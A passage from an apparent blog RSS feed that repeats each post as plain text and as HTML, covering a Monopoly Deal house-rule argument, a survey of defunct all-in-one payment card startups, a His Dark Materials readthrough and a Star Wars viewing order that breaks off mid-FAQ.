The advantages are obvious:
Much shorter game length.
No dice rolls.
Even if you lose badly on luck, you’ve only lost 15 minutes. While it is better than Monopoly, that isn’t to say it is a well designed game (6.3 on BoardGameGeek).
The one major dent in the otherwise decent game is the “Deal Breaker” card, which breaks the game. I’ve house-ruled the game
since forever to keep the card out of the game, since it breaks the most important rule of game design:
Games should be fun2
Deal Breaker stops people from doing that. How? Read on.

Aside: Monopoly Deal (2-5 players) Basic Rules (Click to expand)
The objective of the game is to get 3 sets of properties in distinct colors. The first player to 3 sets wins the game. There are some action cards, which let you get money/properties from other players. Important action cards, relevant for this post:

The Deal Breaker card lets you "steal" a complete set from another player.
The Just Say No card lets you say no to any action that any player takes against you. It is the only way to counter a Deal Breaker card.
Here's a short 3 minute video if you'd like to learn the complete rules.




A lot of metagaming discussion with friends resulted in the following observations:
The Deal Breaker is a very powerful card (It takes you 1/3rd of the way to a victory).
You can assume the single Deal Breaker card to be worth a complete set.
The best use of such a card is to win the game. Using it earlier means giving other players a chance to drag you down from 2->1 set. But if you use it to win the game, the game ends immediately.
Hence, Deal Breaker will always end up being the last card of the game.
If you are playing a game with the Deal Breaker card, you’d want to save it till the very end, and win the game with it. The only possible case for not winning is the other player having a “Just Say No” card, and playing it on the Deal Breaker to negate your move.
Ergo, the metagame converges to the following:
Any game with Deal Breaker will end up having the Deal Breaker as the last turn.
The only way to prevent someone else from winning with the Deal Breaker is to play a Just Say No on the Deal Breaker.
If you have a Just Say No card, you must save it till the end of the game for the Deal Breaker.
There are 2 Deal Breakers, and 3 Just Say Nos in the game. However, considering a single Deal Breaker is enough to win the game, and the chances of you getting a second of either card are fairly small - both the Deal Breaker and Just Say No cards will end up getting hoarded for the endgame.
What this results in is something that breaks the fundamental rule of game design:
Players are disincentivized from playing the Just Say No card.
As any Exploding Kittens player can confirm, playing a Just Say No card is one of the coolest moves in the game. It lets you stick it to the player who dares ask you for 8M3 rent. It lets you pretend you’re counting your money, and then pull out a trump card and feel awesome! By disincentivizing players from playing the coolest card in the game, the Deal Breaker card makes things less fun. And that breaks our “rule of fun”.
In fact, the mere existence of a Deal Breaker card changes the equation. Note that there may be cases where you lose with a Just Say No card because you were hoarding it for the eventual Deal Breaker (which might never come). Someone asks you for 4M rent, and you have to pay up despite having a Just Say No card, because you must save the damn card for when someone steals your set. There are a few rare exceptions, but the Deal Breaker creates too many plays where not playing the Just Say No is indeed the correct move.
So here is the more interesting corollary observation:
The mere existence of the Deal Breaker card breaks the game by making the Just Say No card unplayable and worthless.4
Hence, if you’re playing Monopoly Deal, please house-rule the Deal Breaker card and make it easier for everyone. Two easy ways are:
Remove the card from the game entirely.
Reduce the power of the game to be same as a Forced Deal, except let it break a set.
I have the slides here, but they don’t stand well on their own. ↩
Any game that eliminates players from the game breaks this rule. Popular examples are Monopoly and Mafia/Werewolf. Also see this amazing post on the biggest mistake that Guillotine makes (The “Callous Guard” card). ↩
Turns out, that there is no symbol in the unicode for Monopoly Money ↩
We decided Deal Breaker might make sense in 6+ player games with many more cards, where it might help even the playing grounds a bit for a losing player (much more likely) instead of helping the almost-winning-player score a victory. ↩]]></description>
            <content:encoded><![CDATA[<p>I have a presentation I sometimes give about Monopoly being a terrible game<sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>.
I usually end it by pointing the audience to Monopoly Deal, which I introduce it as
“the only Monopoly edition you can enjoy”.</p>

<p>The advantages are obvious:</p>

<ol>
  <li>Much shorter game length.</li>
  <li>No dice rolls.</li>
</ol>

<p>Even if you lose badly on luck, you’ve only lost 15 minutes. While it is better than Monopoly, that isn’t to say it is a well designed game (6.3 on BoardGameGeek).</p>

<p>The one major dent in the otherwise decent game is the “Deal Breaker” card, which breaks the game. I’ve house-ruled the game
since forever to keep the card out of the game, since it breaks the most important rule of game design:</p>

<blockquote>
  <h2 id="games-should-be-fun">Games should be fun<sup id="fnref:9"><a href="#fn:9" class="footnote" rel="footnote" role="doc-noteref">2</a></sup></h2>
</blockquote>

<p>Deal Breaker stops people from doing that. How? Read on.</p>

<p><img src="https://captnemo.in/img/deal-breaker.jpg" alt="" /></p>

<aside>
<details>
<summary>Aside: Monopoly Deal (2-5 players) Basic Rules (Click to expand)</summary>
The objective of the game is to get 3 sets of properties in distinct colors. The first player to 3 sets wins the game. There are some action cards, which let you get money/properties from other players. Important action cards, relevant for this post:
<ul>
<li>The <strong>Deal Breaker</strong> card lets you "steal" a complete set from another player.</li>
<li>The <strong>Just Say No</strong> card lets you say no to any action that any player takes against you. It is the only way to counter a Deal Breaker card.</li>
</ul>

<img src="https://captnemo.in/img/just-say-no.jpg" alt="Just say no card in Monopoly deal" />

<a href="https://youtu.be/Gc0XrTjmCV8">Here's a short 3 minute video</a> if you'd like to learn the complete rules.
</details>
</aside>
<hr />

<p>A lot of metagaming discussion with <a href="#link-somewhere-nice">friends</a> resulted in the following observations:</p>

<ul>
  <li>The Deal Breaker is a very powerful card (It takes you 1/3rd of the way to a victory).</li>
  <li>You can assume the single Deal Breaker card to be worth a complete set.</li>
  <li>The best use of such a card is to <em>win the game</em>. Using it earlier means giving other players a chance to drag you down from 2-&gt;1 set. But if you use it to win the game, the game ends immediately.</li>
  <li>Hence, Deal Breaker will always end up being the last card of the game.</li>
</ul>

<p>If you are playing a game with the Deal Breaker card, you’d want to save it till the very end, and win the game with it. The only possible case for not winning is the other player having a “Just Say No” card, and playing it on the Deal Breaker to negate your move.</p>

<p>Ergo, the metagame converges to the following:</p>

<ol>
  <li>Any game with Deal Breaker will end up having the Deal Breaker as the last turn.</li>
  <li>The only way to prevent someone else from winning with the Deal Breaker is to play a Just Say No on the Deal Breaker.</li>
  <li>If you have a Just Say No card, you <em>must save it till the end of the game for the Deal Breaker</em>.</li>
</ol>

<p>There are 2 Deal Breakers, and 3 Just Say Nos in the game. However, considering a single Deal Breaker is enough to win the game, and the chances of you getting a second of either card are fairly small - both the Deal Breaker and Just Say No cards will end up getting hoarded for the endgame.</p>

<p>What this results in is something that breaks the fundamental rule of game design:</p>

<blockquote>
  <h2 id="players-are-disincentivized-from-playing-the-just-say-no-card">Players are disincentivized from playing the Just Say No card.</h2>
</blockquote>

<p>As any Exploding Kittens player can confirm, playing a Just Say No card is one of the coolest moves in the game. It lets you stick it to the player who dares ask you for 8M<sup id="fnref:7"><a href="#fn:7" class="footnote" rel="footnote" role="doc-noteref">3</a></sup> rent. It lets you pretend you’re counting your money, and then pull out a trump card and feel awesome! By disincentivizing players from playing the coolest card in the game, the Deal Breaker card makes things less fun. And that breaks our “rule of fun”.</p>

<p>In fact, the mere existence of a Deal Breaker card changes the equation. Note that there may be cases where you lose with a Just Say No card because you were hoarding it for the eventual Deal Breaker (which might never come). Someone asks you for 4M rent, and you have to pay up despite having a Just Say No card, because <em>you must save the damn card for when someone steals your set</em>. There are a few rare exceptions, but the Deal Breaker creates too many plays where not playing the Just Say No is indeed the correct move.</p>

<p>So here is the more interesting corollary observation:</p>

<blockquote>
  <h2 id="the-mere-existence-of-the-deal-breaker-card-breaks-the-game-by-making-the-just-say-no-card-unplayable-and-worthless">The mere existence of the Deal Breaker card breaks the game by making the Just Say No card unplayable and worthless.<sup id="fnref:2"><a href="#fn:2" class="footnote" rel="footnote" role="doc-noteref">4</a></sup></h2>
</blockquote>

<p>Hence, if you’re playing Monopoly Deal, please house-rule the Deal Breaker card and make it easier for everyone. Two easy ways are:</p>

<ol>
  <li>Remove the card from the game entirely.</li>
  <li>Reduce the power of the game to be same as a Forced Deal, except let it break a set.</li>
</ol>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1">
      <p>I have the <a href="https://slides.com/captn3m0/monopoly">slides here</a>, but they don’t stand well on their own. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:9">
      <p>Any game that eliminates players from the game breaks this rule. Popular examples are Monopoly and Mafia/Werewolf. Also see <a href="https://danielsolisblog.blogspot.com/2015/07/one-thing-to-avoid-in-game-design.html">this amazing post</a> on the biggest mistake that Guillotine makes (The “Callous Guard” card). <a href="#fnref:9" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:7">
      <p>Turns out, that there is no symbol in the unicode for <a href="https://boardgames.stackexchange.com/questions/23909/what-is-the-monopoly-m-symbol-called">Monopoly Money</a> <a href="#fnref:7" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2">
      <p>We decided Deal Breaker might make sense in 6+ player games with many more cards, where it might help even the playing grounds a bit for a losing player (much more likely) instead of helping the almost-winning-player score a victory. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[A survey of OneCardToRuleThemAll companies]]></title>
            <link>https://captnemo.in/one-card-to-rule-them-all/</link>
            <guid isPermaLink="false">https://captnemo.in/one-card-to-rule-them-all/</guid>
            <pubDate>Mon, 22 Jun 2020 00:00:00 GMT</pubDate>
            <description><![CDATA[A lot of companies have come up with the idea for reducing all your cards into a single piece of plastic. Here’s a summary of all the ones I could find, and their fate.
Beware: this field is very much a startup graveyard. The only remaining survivor seems to be Curve1 but it’s also the first one that’s attempting this outside of US.
There seem to be a lot of challenges (regulatory, financial, and technical) before such a thing becomes reality. And there’s Apple/Samsung Pay as well. Here’s a summary of all the companies I could find in this space.
If I’ve missed any, please let me know, and I’ll add them here.

Curve (2015-)
Curve allows you to spend from any of your accounts using just one card, clearing the clutter from your wallet and simplifying your finances.
Curve has raised a total of $74M at a valuation north of $250M, out of which £6M were from a crowdfunding campaign in 2019.
Their waitlist is at 800,000+ users.
Curve faced flak for failing to disclose its usage numbers (<100,000 monthly active users out of total 500,000) to crowdfund investors.
Only works with Visa/MasterCard. Used to work with Amex, but Curve has a history of working and being blocked by Amex repeatedly.
See this page for some details on how it works.
Coin (YC W13) (2012-2017)
Coin raised a total of $15.6M.
Shipped in 2015 April.
Acquired by Fitbit in May 2016.
Shutdown by Fitbit in Feb 2017.
Related: Google acquired FitBit in 2019 Nov.
Plastc (2014-2017)
Single dynamic card with e-Ink touchscreen. See obligatory launch video with fancy AR.
Crowdfunded $9M on pre-orders in October 2014.
Delayed launch to April 2016, and then again to September 2016.
Shut down and declared bankruptcy in April 2017.
Complete story via digg.com.
Stratos (2015-2015)
Was supposed to cost $95/year.
Announced May 2015.
Raised $6.63 million over three rounds of financing.
Ran out of money by December 2015.
Sold to Ciright One to avoid collapse.
Seems to be dead now.
Swyp (2014-2017)
Had a pre-order campaign in 2014.
Raised $5M from Khosla Ventures in 2017.
Tried to pivot in 2017, failed.
Offered customers a debit card with an app called Hoot in 2017 as an alternative to refunds. I don’t think the Hoot card ever materialized.
Tilt (Swyp’s payment processor) also ceased operations in 2017, due to unrelated reasons.
Swyp finally shut down in December 2017.
Final (YC W15) (2014-2017)
Final was with a credit card with a different number for every website. As a independent card, Final doesn’t exactly fit in this list, but it’s a very relevant and loved product.
Announced itself with a snazzy video in mid 2014
Raised $4M and launched in August 2016, but remained invite-only till the very end.
Final’s blog has some interesting content: A Request for Credit Cards program to build card-issuance backed businesses and the Payment card landscape for 2017.
Shut down in december 2017 and acquired by Goldman Sachs in an acqui-hire.
Indian Landscape
India hasn’t seen a true single-card app yet, but there have been lots of related attempts:
Infino promises a single-card, but it hasn’t launched yet. It had a public roadmap, but never launched and ultimately pivoted to a Coupon Aggregator called Meet Donut, which shut down.
IndusInd bank has tried a dual-chip debit+credit card. Union Bank has a similar card.
IndusInd has also tried an interactive credit card with 3 buttons.
FamPay, Fold, Niyo, OneCard, Donut🪦, vCard🪦, Slice 2 and lots of other startups are doing co-branded issuance, but that’s not the same thing.
With the emergence of UPI, and low penetration rate of credit cards, I don’t see a market in India - but I’d love to be proven wrong.
Did I miss anything? Reach out and let me know.
Thanks to Harman for reviewing drafts of this, and PRL for getting me interested enough to document this.
Curve used to live on imaginecurve.com, then switched to curve.app and now to curve.com, which must have cost them millions. ↩
Unlike others on the list, vCard is entirely a virtual card, and supports UPI transfers from your credit limit. ↩]]></description>
            <content:encoded><![CDATA[<p>A lot of companies have come up with the idea for reducing all your cards into a single piece of plastic. Here’s a summary of all the ones I could find, and their fate.
Beware: this field is very much a startup graveyard. The only remaining survivor seems to be Curve<sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">1</a></sup> but it’s also the first one that’s attempting this outside of US.</p>

<p>There seem to be a lot of challenges (regulatory, financial, and technical) before such a thing becomes reality. And there’s Apple/Samsung Pay as well. Here’s a summary of all the companies I could find in this space.
If I’ve missed any, please let me know, and I’ll add them here.</p>

<p><img src="https://captnemo.in/img/card.jpg" alt="A photo of a hand holding a blank card" /></p>

<h2 id="curve-2015-"><a href="https://www.curve.com/">Curve</a> (2015-)</h2>

<blockquote>
  <p>Curve allows you to spend from any of your accounts using just one card, clearing the clutter from your wallet and simplifying your finances.</p>
</blockquote>

<ul>
  <li>Curve has raised a total of $74M at a valuation north of $250M, out of which £6M were from a crowdfunding campaign in 2019.</li>
  <li>Their waitlist is at 800,000+ users.</li>
  <li><a href="https://www.businessinsider.com/curve-fintech-startup-leaked-active-users-crowdfunding-2019-11">Curve faced flak for failing to disclose its usage numbers</a> (&lt;100,000 monthly active users out of total 500,000) to crowdfund investors.</li>
  <li>Only works with Visa/MasterCard. Used to work with Amex, but Curve has a history of working and being blocked by Amex repeatedly.</li>
  <li>See <a href="https://www.curve.com/en-gb/how-it-works">this page</a> for some details on how it works.</li>
</ul>

<h2 id="coin-yc-w13-2012-2017">Coin (YC W13) (2012-2017)</h2>

<ul>
  <li>Coin raised a total of $15.6M.</li>
  <li><a href="https://techcrunch.com/2015/04/17/coin-the-one-credit-card-to-rule-them-all-is-finally-shipping/">Shipped in 2015 April</a>.</li>
  <li><a href="https://investor.fitbit.com/press/press-releases/press-release-details/2016/Fitbit-Inc-Acquires-Wearable-Payments-Assets-From-Financial-Technology-Company-Coin/default.aspx">Acquired by Fitbit in May 2016</a>.</li>
  <li><a href="https://techcrunch.com/2017/01/31/coin-shut-down/">Shutdown by Fitbit in Feb 2017</a>.</li>
  <li>Related: <a href="https://techcrunch.com/2019/11/01/google-is-acquiring-fitbit/">Google acquired FitBit in 2019 Nov</a>.</li>
</ul>

<h2 id="plastc-2014-2017">Plastc (2014-2017)</h2>

<ul>
  <li>Single dynamic card with e-Ink touchscreen. See obligatory <a href="https://www.youtube.com/watch?v=8QrI3lntq3g">launch video</a> with fancy AR.</li>
  <li>Crowdfunded $9M on pre-orders in October 2014.</li>
  <li>Delayed launch to April 2016, and then again to September 2016.</li>
  <li>Shut down and declared bankruptcy in April 2017.</li>
  <li><a href="https://digg.com/2017/plastc-smart-card-bankruptcy-what-happened">Complete story via digg.com</a>.</li>
</ul>

<h2 id="stratos-2015-2015">Stratos (2015-2015)</h2>

<ul>
  <li>Was supposed to cost $95/year.</li>
  <li><a href="https://techcrunch.com/2015/05/26/the-stratos-all-in-one-credit-card-isnt-perfect-enough/">Announced May 2015</a>.</li>
  <li>Raised $6.63 million over three rounds of financing.</li>
  <li>Ran out of money by <a href="https://techcrunch.com/2015/12/21/stratos-card-to-shut-down-just-six-months-after-launching/">December 2015</a>.</li>
  <li>Sold to <a href="https://techcrunch.com/2015/12/22/stratos-sells-to-ciright-one-to-avoid-collapse/">Ciright One</a> to avoid collapse.</li>
  <li>Seems to be dead now.</li>
</ul>

<h2 id="swyp-2014-2017">Swyp (2014-2017)</h2>

<ul>
  <li>Had a pre-order campaign in 2014.</li>
  <li>Raised $5M from Khosla Ventures in 2017.</li>
  <li>Tried to pivot in 2017, failed.</li>
  <li>Offered customers a <a href="https://web.archive.org/web/20200225225658/http://blog.swypcard.com/blog/swyp-card-july-update">debit card with an app called Hoot</a> in 2017 as an alternative to refunds. I don’t think the Hoot card ever materialized.</li>
  <li>Tilt (Swyp’s payment processor) also ceased operations in 2017, due to unrelated reasons.</li>
  <li>Swyp <a href="https://web.archive.org/web/20200224230053/http://blog.swypcard.com/blog/swyp-card-update">finally shut down in December 2017</a>.</li>
</ul>

<h2 id="final-yc-w15-2014-2017"><a href="https://www.getfinal.com/">Final</a> (YC W15) (2014-2017)</h2>

<ul>
  <li>Final was with a credit card with a different number for every website. As a independent card, Final doesn’t exactly fit in this list, but it’s a very relevant and loved product.</li>
  <li>Announced itself <a href="https://www.youtube.com/watch?v=8ZtG5DX5FR0">with a snazzy video</a> in mid 2014</li>
  <li>Raised $4M and launched in August 2016, but remained invite-only till the very end.</li>
  <li>Final’s blog has some interesting content: A <a href="https://www.getfinal.com/company-news/2017/08/21/rfcc/">Request for Credit Cards</a> program to build card-issuance backed businesses and the <a href="https://www.getfinal.com/company-news/2017/03/30/2017-payment-card-landscape/">Payment card landscape</a> for 2017.</li>
  <li><a href="https://www.getfinal.com/company-news/2017/12/06/a-final-farewell/">Shut down in december 2017</a> and acquired <a href="https://www.fastcompany.com/40523758/goldman-sachs-buys-credit-card-startup-final">by Goldman Sachs</a> in an acqui-hire.</li>
</ul>

<h1 id="indian-landscape">Indian Landscape</h1>

<p>India hasn’t seen a true single-card app yet, but there have been lots of related attempts:</p>

<ul>
  <li><a href="https://getinfino.com/">Infino promises a single-card</a>, but it hasn’t launched yet. It had a <a href="https://trello.com/b/2h9S100Z/the-infino-roadmap">public roadmap</a>, but never launched and ultimately pivoted to a Coupon Aggregator called Meet Donut, which shut down.</li>
  <li>IndusInd bank has <a href="https://www.businesstoday.in/sectors/banks/indusind-launches-credit-cum-debit-card-confuse-customers/story/284912.html">tried a dual-chip debit+credit</a> card. Union Bank has <a href="https://www.unionbankofindia.co.in/english/debit-cum-credit-card.aspx">a similar card</a>.</li>
  <li>IndusInd has also <a href="https://www.businesstoday.in/top-story/new-credit-card-with-buttons-gives-users-emi-options-helps-redeem-reward-points/story/290763.html">tried an interactive credit card</a> with 3 buttons.</li>
  <li><a href="https://fampay.in/">FamPay</a>, <a href="https://fold.money/">Fold</a>, <a href="https://www.goniyo.com/">Niyo</a>, <a href="https://www.getonecard.app/">OneCard</a>, <a href="https://meetdonut.com/">Donut</a>🪦, <a href="https://vcard.ai/">vCard</a>🪦, <a href="https://sliceit.com/">Slice</a> <sup id="fnref:2"><a href="#fn:2" class="footnote" rel="footnote" role="doc-noteref">2</a></sup> and lots of other startups are doing co-branded issuance, but that’s not the same thing.</li>
</ul>

<p>With the emergence of UPI, and low penetration rate of credit cards, I don’t see a market in India - but I’d love to be proven wrong.</p>

<hr />

<p>Did I miss anything? <a href="https://captnemo.in/contact/">Reach out</a> and let me know.</p>

<p>Thanks to <a href="https://twitter.com/thatharmansingh">Harman</a> for reviewing drafts of this, and PRL for getting me interested enough to document this.</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1">
      <p>Curve used to live on <code class="language-plaintext highlighter-rouge">imaginecurve.com</code>, then switched to <code class="language-plaintext highlighter-rouge">curve.app</code> and now to <code class="language-plaintext highlighter-rouge">curve.com</code>, which must have cost them millions. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2">
      <p>Unlike others on the list, vCard is entirely a virtual card, and supports UPI transfers from your credit limit. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[His Dark Materials Season 1 Readthrough]]></title>
            <link>https://captnemo.in/blog/2020/06/07/his-dark-materials/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2020/06/07/his-dark-materials/</guid>
            <pubDate>Sun, 07 Jun 2020 00:00:00 GMT</pubDate>
            <description><![CDATA[A long time ago, I tried to do a readthrough for Game of Thrones (Book 1) alongside the first season. I managed to reach Episode 5, before I sped through the rest of the book, but I tried.
Trying something similar for His Dark Materials, which is a great series if you’re looking to watch something new. Instead of noting down Chapter/Book equivalence (like I tried last time), going to write down my thoughts here as I’m reading along. Spoiler Warning for the entire first season obviously.
Overall
The show is very tightly knit with the book with a few over-arching changes from the story-telling perspective:
You get to see other points-of-view, other than just Lyra. Helps establish what else is happening, especially in the other worlds.
A lot of infodumps are prevented, or better, broken down into multiple sessions.
The major change from the first book is ofcourse showing Will’s PoV and our earth.
Chapter 1
The opening scene with the great flood sets some context, but isn’t in the books.
The Master/Butler chat on the wine poisoining happens much later in the books.
There is a lot of foreshadowing around Lyra’s parentage that happens in the first 2 chapters that is entirely missed in the show.
Chapter 2
The entire Grumman’s skull and hunt sub-plot hasn’t shown up in the book so far (presumably because we only see Lyra’s PoV).
The party scene is very-well handled (with all the subtle changes for the better. Superb acting as well :)
The hiding-lyra-in-the-boat scene is merely given a passing mention in the book, but so well done in the show.
Chapter 3
Splitting Lyra’s parentage reveal (Coulter reveals her father) is a smart move in the show.
The show changes Lyra’s kidnappers from Turkish slavers to Gobblers.
The Alethiometer reveal happens with both Father Coram and John Fa in the book. The section also has a huge infodump, especially since it involves the parentage reveal. The show breaks it into 3: alethiometer reveal with Father Coram, a previous interrogation of Lyra with John Fa, and Lyra’s parentage reveal (mother) with Ma Costa.
Chapter 4
The one notable “not-in-the-book” scene is the Coulter’s meeting with Iofur.
Chapter 5
Interesting to note that the characters of Billy and Roger are fused in both the film and the TV adaptations.
Chapter 6
Lyra starts a fire in the books, but the show makes it more dramatic by destroying the machine.
The balloon ride covers a lot more in the books.
Learnings
Overall, the show has been nicely adapted so far, and I think there’s a few reasons:
The show barely messes with Lyra’s timeline. Important to ensure this to avoid creating cascading issues down the path.
Majority of the changes are either made on kill-able subplots, or side-plots that show us what’s going on elsewhere.
And finally, the show spends time on where the medium works best. The scaring scene in Chapter 2, for eg.
I’m still sad that the ghosts in the crypt don’t get to be seen, though.]]></description>
            <content:encoded><![CDATA[<p>A long time ago, I tried to <a href="https://captnemo.in/blog/2011/04/19/game-of-thrones/">do a readthrough</a> for Game of Thrones (Book 1) alongside the first season. I managed to reach Episode 5, before I sped through the rest of the book, but I tried.</p>

<p>Trying something similar for His Dark Materials, which is a great series if you’re looking to watch something new. Instead of noting down Chapter/Book equivalence (like I tried last time), going to write down my thoughts here as I’m reading along. <strong>Spoiler Warning</strong> for the entire first season obviously.</p>

<h2 id="overall">Overall</h2>

<p>The show is very tightly knit with the book with a few over-arching changes from the story-telling perspective:</p>

<ul>
  <li>You get to see other points-of-view, other than just Lyra. Helps establish what else is happening, especially in the other worlds.</li>
  <li>A lot of infodumps are prevented, or better, broken down into multiple sessions.</li>
  <li>The major change from the first book is ofcourse showing Will’s PoV and our earth.</li>
</ul>

<h2 id="chapter-1">Chapter 1</h2>

<ul>
  <li>The opening scene with the great flood sets some context, but isn’t in the books.</li>
  <li>The Master/Butler chat on the wine poisoining happens much later in the books.</li>
  <li>There is a lot of foreshadowing around Lyra’s parentage that happens in the first 2 chapters that is entirely missed in the show.</li>
</ul>

<h2 id="chapter-2">Chapter 2</h2>

<ul>
  <li>The entire Grumman’s skull and hunt sub-plot hasn’t shown up in the book so far (presumably because we only see Lyra’s PoV).</li>
  <li>The party scene is very-well handled (with all the subtle changes for the better. Superb acting as well :)</li>
  <li>The hiding-lyra-in-the-boat scene is merely given a passing mention in the book, but so well done in the show.</li>
</ul>

<h2 id="chapter-3">Chapter 3</h2>

<ul>
  <li>Splitting Lyra’s parentage reveal (Coulter reveals her father) is a smart move in the show.</li>
  <li>The show changes Lyra’s kidnappers from Turkish slavers to Gobblers.</li>
  <li>The Alethiometer reveal happens with both Father Coram and John Fa in the book. The section also has a huge infodump, especially since it involves the parentage reveal. The show breaks it into 3: alethiometer reveal with Father Coram, a previous interrogation of Lyra with John Fa, and Lyra’s parentage reveal (mother) with Ma Costa.</li>
</ul>

<h2 id="chapter-4">Chapter 4</h2>

<ul>
  <li>The one notable “not-in-the-book” scene is the Coulter’s meeting with Iofur.</li>
</ul>

<h2 id="chapter-5">Chapter 5</h2>

<ul>
  <li>Interesting to note that the characters of Billy and Roger are fused in both the film and the TV adaptations.</li>
</ul>

<h2 id="chapter-6">Chapter 6</h2>

<ul>
  <li>Lyra starts a fire in the books, but the show makes it more dramatic by destroying the machine.</li>
  <li>The balloon ride covers a lot more in the books.</li>
</ul>

<h2 id="learnings">Learnings</h2>

<p>Overall, the show has been nicely adapted so far, and I think there’s a few reasons:</p>

<ol>
  <li>The show barely messes with Lyra’s timeline. Important to ensure this to avoid creating cascading issues down the path.</li>
  <li>Majority of the changes are either made on kill-able subplots, or side-plots that show us what’s going on elsewhere.</li>
  <li>And finally, the show spends time on where the medium works best. The scaring scene in Chapter 2, for eg.</li>
</ol>

<p>I’m still sad that the ghosts in the crypt don’t get to be seen, though.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Aarohi Open Learning]]></title>
            <link>https://www.prashanthudupa.com/aarohi-open-learning/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/aarohi-open-learning/</guid>
            <pubDate>Thu, 04 Jun 2020 03:58:01 GMT</pubDate>
            <description><![CDATA[My son, and by extension my wife and I, have been exploring the open-learning path. When he was very young and going to a Montessori play school, Nandini would research the various forms of “schooling”. Home Schooling, Unschooling, Road Schooling...]]></description>
            <content:encoded><![CDATA[My son, and by extension my wife and I, have been exploring the open-learning path. When he was very young and going to a Montessori play school, Nandini would research the various forms of &#8220;schooling&#8221;. Home Schooling, Unschooling, Road Schooling...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Unschooling</category>
        </item>
        <item>
            <title><![CDATA[My journey with Scrite]]></title>
            <link>https://www.prashanthudupa.com/my-journey-with-scrite/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/my-journey-with-scrite/</guid>
            <pubDate>Thu, 21 May 2020 07:45:54 GMT</pubDate>
            <description><![CDATA[This is the story of how Scrite, the free and open source multilingual screenplay writing app came to be. Sometime in December 2019, I started trying my hand at writing screenplays. For a few months, until the beginning of March...]]></description>
            <content:encoded><![CDATA[This is the story of how Scrite, the free and open source multilingual screenplay writing app came to be. Sometime in December 2019, I started trying my hand at writing screenplays. For a few months, until the beginning of March...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Moments</category>
            <category>Screenplays</category>
            <category>Technical</category>
        </item>
        <item>
            <title><![CDATA[Star Wars Beskar Viewing Order]]></title>
            <link>https://captnemo.in/starwars-beskar-viewing-order/</link>
            <guid isPermaLink="false">https://captnemo.in/starwars-beskar-viewing-order/</guid>
            <pubDate>Mon, 04 May 2020 00:00:00 GMT</pubDate>
            <description><![CDATA[I tweeted out my recommended viewing order for Star Wars recently1:
Happy #StarWarsDay folks. If you've somehow managed to avoid watching Star Wars, here's my recommended viewing order (No Spoilers, 1/n) pic.twitter.com/K70O4ydCB7
— Nemo (@captn3m0) May 4, 2020


Thought I should expand a bit on the what and why. Spoilers towards the end (marked). I also went ahead and named it:
The Beskar Order
Rogue One: A Star Wars Story
Star Wars: Episode IV - A New Hope.
Star Wars: Episode V - The Empire Returns
Star Wars: Episode VI - Return of the Jedi
The Mandalorian (S01E01-04)
Star Wars: Episode VII - The Force Awakens
The Mandalorian (S01E05-08)
If you’ve enjoyed the above, you should pick between the following 2 next:
If you liked the core Skywalker Saga (Episodes IV-VI), and want to explore Anakin’s origins - Go and watch the prequel trilogy (Episode I, II, III).
If you liked Force Awakens, you should go finish the sequels (Star Wars Episode VIII, IX)
In either case, I want to leave this as a choice to the viewer. The prequel trilogy has a lot of flaws. The Machete order famously drops an entire film, and it wasn’t even trying to make room. Go to the prequels if you want to explore the lore. On the flip side, if you liked how Disney handled Episode VII, and want to see closing arcs for the major characters, try the sequels. I wouldn’t recommend interleaving them - it doesn’t get you much and makes it confusing.
If you’re still here after finishing both of these (that makes for a total of 10 films and 1 season of telly) - you ought to explore for yourselves. Here’s suggestions depending on what you’d like:
Clone Wars (TV Series, 7 seasons)
  for exploring the franchise at a less grand scale. There’s an Essential viewing order, which covers all the major arcs and best episodes.
  The Mandalorian (Season 2, Oct 2020)
  To find out what happens to Baby Yoda
  Star Wars: Rebels (TV Series, 4 Seasons)
  If you want to explore new characters and like something Firefly-esque.


There are boardgames, RPGs, and some really great books in the franchise as well. Pick what you’d like to explore.
Inspiration
The classic Machete Order which does a lot of great things, by skipping a film, preserving tension and plot-twists. Also of note are the various fan-edits, of which I’ve only ever tried The Phantom Edit.
Rationale
I tried to optimize for a few things:
Fun while watching the series. So good stuff comes first, paired films etc, and intentionally including The Mandalorian.
Easy stoppage. In case you don’t like the series, you should be able to stop midway, and still have seen the important/best bits.
Sticking to chronological order in the stuff I picked (as much as possible). Sticking to chronology makes it easier to consume.
Total time. I don’t want to prescribe a “complete-viewing-order”, but rather a “starting point”.
(1) is easy to optimize for. (2/3) results in things getting thrown around a bit, and (4) means I leave out stuff that you should pick for later.
Why not include __?
This is not meant to be an exhaustive order, and I was optimizing for total time. Important mentions:
Solo
  Not really essential viewing.
  Star Wars: The Clone Wars
  The film is terrible (5.9 on IMDB), because it wasn’t meant to be one.
  Star Wars: The Clone Wars TV Series
  I wanted to stick to the main saga, and its just too damn long to recommend casually in any viewing order.
  Star Wars: Holiday Special
  I still can’t bring myself to finish it. It isn’t even canon any more (Life Day is)
  Legends/Resistance
  Again, not essential viewing.


FAQ
Who is this for?
  Recommended for first-time viewers. If you are doing a rewatch, I recommend following The Beskar Machete order.
  Have you watched everything Star Wars?
  I can’t even claim to have watched all 12 films, because I couldn’t finish The Clone Wars (movie). I’m still watching Clone Wars (TV series).
  Why Beskar?
  I wanted something that would work well with Machete, for the hybrid order. It also makes a point about The Mandalorian 2 belonging in the order.
  I don’t have this much time!
